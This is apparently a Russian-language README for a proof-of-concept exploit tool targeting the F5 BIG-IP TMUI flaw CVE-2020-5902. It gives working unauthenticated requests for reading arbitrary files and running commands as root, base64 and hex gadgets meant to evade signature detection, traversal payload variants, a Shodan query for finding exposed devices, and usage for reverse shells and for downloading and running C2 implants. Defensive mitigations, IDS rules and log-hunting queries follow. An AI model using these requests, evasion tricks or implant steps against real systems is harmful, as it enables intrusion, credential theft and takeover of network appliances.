
F5 BIG-IP — это платформа доставки приложений и обеспечения их безопасности, широко используемая в корпоративных средах. CVE-2020-5902 — это критическая уязвимость в TMUI, которая в неисправленных версиях может позволить несанкционированный доступ и удалённое выполнение кода, что подчёркивает необходимость обновления и непрерывного управления уязвимостями.
Эксплойт Proof-of-Concept для критической уязвимости обхода пути / удаленного выполнения кода в Traffic Management User Interface (TMUI) продуктов F5 BIG-IP.
⚠️ Только для авторизованного тестирования на проникновение и исследований в области безопасности. Несанкционированное использование против систем, которыми вы не владеете или на тестирование которых не имеете письменного разрешения, противозаконно. Автор не несет ответственности за неправомерное использование данного инструмента.
F5 BIG-IP — это семейство многоцелевых сетевых устройств (балансировщиков нагрузки, WAF, контроллеров доставки приложений), развернутых в большинстве компаний из списка Fortune 500, финансовых учреждениях, медицинских организациях и государственных учреждениях по всему миру. Traffic Management User Interface (TMUI) — также называемый Configuration Utility — это веб-портал управления, доступный на порту 443 (или 8443).
В июле 2020 года F5 раскрыла CVE-2020-5902 — критическую (CVSS 9.8) неаутентифицированную уязвимость обхода пути в TMUI, которая позволяет удаленному неаутентифицированному атакующему:
В течение дней после публичного раскрытия в дикой природе наблюдалась массовая эксплуатация, в том числе со стороны государственных субъектов.
TMUI построен на Apache Tomcat и использует сервлетный фильтр для принудительной аутентификации защищенных ресурсов. Уязвимость заключается в том, как Tomcat обрабатывает сегменты пути, разделенные точкой с запятой (;).
Следующий запрос полностью обходит аутентификацию:
GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
Почему это работает:
/tmui/login.jsp (заканчивается перед ;) — то есть публичную страницу входа — и разрешает запрос./..;/ как обход пути (/../) перед диспетчеризацией.fileRead.jsp без аутентификации.┌──────────────────────────────────────────────────────────────────┐
│ Client Request │
│ GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp │
└────────────────────────────┬─────────────────────────────────────┘
│
┌───────────────▼───────────────┐
│ Tomcat Servlet Filter │
│ Sees: /tmui/login.jsp ✓ │
│ (public endpoint → ALLOW) │
└───────────────┬───────────────┘
│
┌───────────────▼───────────────┐
│ Tomcat URL Resolver │
│ Resolves: /..;/ → /../ │
│ Final path: /tmui/locallb/ │
│ workspace/fileRead.jsp ← 🔓 │
└───────────────┬───────────────┘
│
┌───────────────▼───────────────┐
│ fileRead.jsp (no auth check) │
│ Reads arbitrary files as root│
└───────────────────────────────┘
Сервлет tmshCmd.jsp (также доступный через тот же обход пути) передает параметры command и utilCmdArgs напрямую в tmsh (командную оболочку управления BIG-IP), которая оборачивает run util bash -c '...'. Это обеспечивает неаутентифицированное выполнение команд ОС с правами root:
POST /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp
command=run+util+bash+-c+'id'&utilCmdArgs=-c+'id'
Phase 1: Reconnaissance
└─ TCP banner grab (HTTP/TLS fingerprint)
└─ SSL certificate analysis
└─ HTTP headers fingerprint (Server, X-Powered-By, Set-Cookie)
└─ BIG-IP version estimation from /etc/f5-release
Phase 2: Vulnerability Check
└─ Iterate over 6 traversal encoding variants
└─ Test against 4 known-readable sentinel files
└─ Confirm output matches known indicators (root:x:0:0, BIG-IP, etc.)
Phase 3: Exploitation
├─ Vector A: tmshCmd.jsp (primary RCE)
│ └─ Command obfuscated via base64 / hex-encode gadgets
├─ Vector B: fileRead.jsp + command injection in fileName param
│ └─ OS command injected into the fileName parameter
└─ Vector C: Log poisoning (User-Agent injection → read access_log)
Phase 4: Post-Exploitation (optional)
├─ Interactive shell (command REPL)
├─ Reverse shell (4 concurrent one-liners)
├─ LFI brute-force (30 sensitive paths, parallel)
└─ C2 implant deployment (Sliver / Metasploit / custom)
Инструмент применяет один из двух гаджетов обфускации при каждом выполнении, что затрудняет обнаружение статическими сигнатурами:
# Gadget 1 — Base64 encode/decode pipeline
bash -c {echo,aWQ=}|{base64,-d}|bash
# Gadget 2 — Hex-byte printf evaluation
eval "$(printf '\x69\x64')"
BIG-IQ, BIG-IQ Centralized Management, F5OS и Traffix SDC не затронуты этим конкретным CVE.
!revshell, !c2, !read, !brutegit clone https://github.com/DevRafaelprogrammer/F5-BIG-IP.git
cd F5-BIG-IP
pip install requests pycryptodome urllib3
Требования: Python 3.10+
python CVE-2020-5902.py [-h] [--port PORT] [--proxy URL] [--no-recon]
[--cmd CMD] [--shell] [--lfi-brute]
[--revshell LHOST LPORT]
[--c2-url URL] [--c2-type TYPE] [--c2-args ARGS]
target
# 1. Vulnerability check only
python CVE-2020-5902.py 192.168.1.100
# 2. Custom port + single command execution
python CVE-2020-5902.py 192.168.1.100 --port 8443 --cmd "id && uname -a"
# 3. Interactive shell
python CVE-2020-5902.py 192.168.1.100 --shell
# 4. LFI brute-force (reads 30 sensitive paths)
python CVE-2020-5902.py 192.168.1.100 --lfi-brute
# 5. Reverse shell callback
python CVE-2020-5902.py 192.168.1.100 --revshell 10.0.0.1 4444
# 6. Deploy a C2 implant (Sliver example)
python CVE-2020-5902.py 192.168.1.100 \
--c2-url http://10.0.0.1:8000/implant \
--c2-type linux
# 7. Route through Burp Suite for traffic inspection
python CVE-2020-5902.py 192.168.1.100 --proxy http://127.0.0.1:8080
В режиме --shell доступны следующие специальные команды:
Единственная самая эффективная мера — убедиться, что интерфейс управления никогда не доступен из ненадежных сетей:
# BIG-IP: restrict management access to a dedicated VLAN/IP range
tmsh modify sys httpd allow replace-all-with { 10.0.0.0/8 192.168.0.0/16 }
tmsh save sys config
Либо, в конфигурации Self IP на BIG-IP, убедитесь, что для управляющего порта нет внешнего маршрута.
F5 опубликовала скрипт смягчения, который добавляет RewriteRule в Apache для блокировки шаблона обхода пути:
# /etc/httpd/conf.d/CVE-2020-5902.conf
RewriteEngine On
RewriteCond %{THE_REQUEST} "([^\ ]+)\x3b" [NC]
RewriteRule ^ - [F,L]
Ссылка: K52145254 — Действия по смягчению
Окончательное решение — обновить BIG-IP до исправленной версии (см. таблицу Затронутые версии). F5 исправила логику сервлетного фильтра, чтобы правильно обрабатывать сегменты пути, разделенные точкой с запятой, до проверки аутентификации.
┌────────────────────────────────────────────────────────────────┐
│ RECOMMENDED ARCHITECTURE │
│ │
│ Internet ──────► Firewall ──────► DMZ / Production │
│ │ │
│ │ (DENY all traffic to mgmt ports) │
│ │ │
│ Jump Host ──────► BIG-IP TMUI (port 443) │
│ (MFA + VPN) (management VLAN only) │
└────────────────────────────────────────────────────────────────┘
Ключевые принципы:
Self IP на BIG-IP должно быть установлено в Allow None или Allow DefaultsЕсли WAF находится перед управлением BIG-IP (необычно, но возможно в некоторых архитектурах), добавьте правила для блокировки:
; в пути URL..; или %3b в сегментах пути/tmui/locallb/workspace/ из источников, не относящихся к управлению[ ] BIG-IP patched to a fixed version
[ ] TMUI not exposed to the internet (verify with Shodan/Censys)
[ ] Management VLAN segregated from production
[ ] Self IP port lockdown configured (Allow None or Allow Defaults)
[ ] MFA enforced on management access
[ ] BIG-IP software inventory in asset management system
[ ] Automated vulnerability scanning (Tenable/Qualys) includes BIG-IP
[ ] Log forwarding to SIEM configured (access_log, audit.log)
[ ] Network segmentation: compromised BIG-IP cannot reach domain controllers
[ ] Incident response playbook includes network device compromise scenario
# Detect path traversal attempts (semicolon bypass)
alert http any any -> $HOME_NET 443 (
msg:"CVE-2020-5902 F5 BIG-IP TMUI Path Traversal";
flow:to_server,established;
content:"tmui"; http_uri; nocase;
content:"..;"; http_uri;
content:"workspace"; http_uri; nocase;
reference:cve,2020-5902;
sid:9000001; rev:1;
)
# Detect encoded semicolon variant
alert http any any -> $HOME_NET 443 (
msg:"CVE-2020-5902 F5 BIG-IP TMUI Path Traversal (encoded)";
flow:to_server,established;
content:"tmui"; http_uri; nocase;
content:"%3b"; http_uri; nocase;
content:"fileRead"; http_uri; nocase;
reference:cve,2020-5902;
sid:9000002; rev:1;
)
# Hunt for traversal attempts in BIG-IP access logs
grep -iE "(\.\.;|%2e%2e|%252e|\.\.%3b|%2e%2e%3b)" /var/log/httpd/access_log
# Look for successful hits to the vulnerable endpoints
grep -iE "(fileRead\.jsp|tmshCmd\.jsp|workspace)" /var/log/httpd/access_log | \
grep -v "^10\.\|^192\.168\.\|^172\.1[6-9]\.\|^172\.2[0-9]\.\|^172\.3[0-1]\."
index=network sourcetype=f5:bigip:access
(uri_path="*..;*" OR uri_path="*%3b*" OR uri_path="*%2e%2e*")
(uri_path="*workspace*" OR uri_path="*fileRead*" OR uri_path="*tmshCmd*")
| eval risk=if(status=200, "HIGH", "MEDIUM")
| stats count by src_ip, uri_path, status, risk
| sort -count
Шаблоны URL:
/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp
/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp
/tmui/login.jsp/%2e%2e;/tmui/locallb/workspace/fileRead.jsp
/tmui/login.jsp/..%3b/tmui/locallb/workspace/fileRead.jsp
Типичные цели атакующих (доступные файлы):
/etc/passwd — credential harvesting
/config/bigip.conf — VPN/routing config exfiltration
/config/bigip.license — license key theft
/config/bigip_user.conf — local admin account enumeration
/root/.bash_history — historical command reconnaissance
http.title:"BIG-IP" port:443Этот инструмент предоставлен только в образовательных целях и для авторизованных оценок безопасности. Он предназначен для:
Использование этого инструмента против систем без явного письменного разрешения является уголовным преступлением в соответствии с Законом о компьютерном мошенничестве и злоупотреблениях (CFAA), британским Законом о неправомерном использовании компьютеров, бразильским Законом № 12.737/2012 (Lei Carolina Dieckmann) и аналогичными законами в большинстве юрисдикций по всему миру.
Авторы и участники этого репозитория не несут ответственности за любой ущерб, юридические последствия или иной вред, возникший в результате неправомерного использования этого программного обеспечения.
Сделано для сообщества исследователей безопасности. Устанавливайте исправления. Защищайте свои сети.
| Вариант | Полезная нагрузка |
|---|
| Стандартный | tmui/login.jsp/..;/tmui/... |
| Закодированная точка с запятой | tmui/login.jsp/..%3b/tmui/... |
| Двойное URL-кодирование | tmui%2flogin.jsp%2f..%3b%2ftmui%2f... |
| Юникод-точки | tmui/login.jsp/%2e%2e;/tmui/... |
| Вариация регистра | TMUI/login.jsp/..;/tmui/... |
| Подмена каталога | tmui/login.jsp/..;/tmui/locallb/workspace/../workspace/... |
| Версия BIG-IP | Уязвимый диапазон | Исправленная версия |
|---|
| 15.x | < 15.1.0.4 | ≥ 15.1.0.4 |
| 14.x | < 14.1.2.6 | ≥ 14.1.2.6 |
| 13.x | < 13.1.3.4 | ≥ 13.1.3.4 |
| 12.x | < 12.1.5.2 | ≥ 12.1.5.2 |
| 11.x | < 11.6.5.2 | ≥ 11.6.5.2 |
| Команда | Описание |
|---|
!revshell <lhost> <lport> | Запустить 4 варианта обратной оболочки одновременно |
!c2 <url> <type> [args] | Скачать и выполнить C2-имплант |
!read <path> | Прочитать произвольный файл через LFI |
!brute | Перебрать 30 чувствительных путей |
!exit | Завершить сеанс |
<любая команда ОС> | Выполнить через RCE и вывести результат |
| Дата | Событие |
|---|
| 2020-06-30 | F5 уведомлена в частном порядке |
| 2020-07-01 | F5 публикует рекомендации (K52145254) и исправления |
| 2020-07-03 | Публичный PoC опубликован в Twitter |
| 2020-07-04 | Массовая эксплуатация зафиксирована несколькими компаниями в области threat intelligence |
| 2020-07-06 | CISA выпускает Чрезвычайную директиву 20-03, обязывающую федеральные ведомства установить исправление |
| 2020-07-09 | Подтверждена эксплуатация государственными субъектами (APT) в дикой природе |
| 2020-07-15 | Около 8 000 экземпляров BIG-IP остаются без исправлений (Shodan) |
| 2020-08-xx | Группировки программ-вымогателей начинают нацеливаться на неустановленные устройства BIG-IP |